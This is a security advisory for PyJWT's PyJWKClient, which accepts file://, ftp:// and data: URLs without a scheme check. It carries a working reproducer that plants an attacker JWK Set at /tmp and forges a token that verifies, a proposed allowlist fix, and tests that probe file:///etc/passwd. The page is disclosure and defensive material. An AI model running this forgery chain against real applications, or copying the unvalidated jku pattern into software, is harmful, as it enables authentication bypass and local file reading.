Skip to content

GHSA-993g-76c3-p5m4 CVE-2026-48522 PYSEC-2026-175

PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

Medium PyPI
Severity
4.2 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.22%
Chance of exploitation in the next 30 days. Higher than 12.80% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')
CWE-918 Server-Side Request Forgery (SSRF)
Fix
2.13.0
Upgrade pyjwt to this version or later

Description

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

  • No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
  • No existing GitHub issue or PR addressing scheme allowlisting
  • No silent fix in CHANGELOG through 2.12.1
  • 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Affected versions

PyPI

PackageVulnerableFixed in
pyjwt
>= 2.0.0, < 2.13.0
2.13.0
pyjwt
< 2.13.0
2.13.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pyjwt PyPI → 2.13.0

pip
pip install --upgrade "pyjwt>=2.13.0"
poetry
poetry add "pyjwt>=2.13.0"
uv
uv add "pyjwt>=2.13.0"

Severity breakdown

CVSS 3.1 4.2

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

How to prevent it
  • Architecture and Design: Enforce the use of strong mutual authentication mechanism between the two parties.
  • Architecture and Design: Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-pxh4-856f-4h89
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
High Also affects pyjwt
GHSA-gvp8-978c-rx2q
PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse
Medium Also affects pyjwt
GHSA-x33g-cr3x-6449
PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion
High Also affects pyjwt
GHSA-w6j9-cwv2-h6wq
PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set
High Also affects pyjwt
GHSA-w2cx-738m-mc7w
PyJWT accepts public JWK containers as HMAC secrets
High Also affects pyjwt
GHSA-r6x4-923q-g947
PyJWT BOM Bypass
High Also affects pyjwt
GHSA-p4g4-x82p-q773
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
High Also affects pyjwt
GHSA-jwrc-g2q2-pq5p
PyJWT: ReDoS vulnerability when calling the `is_pem_format` function.
Medium Also affects pyjwt
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor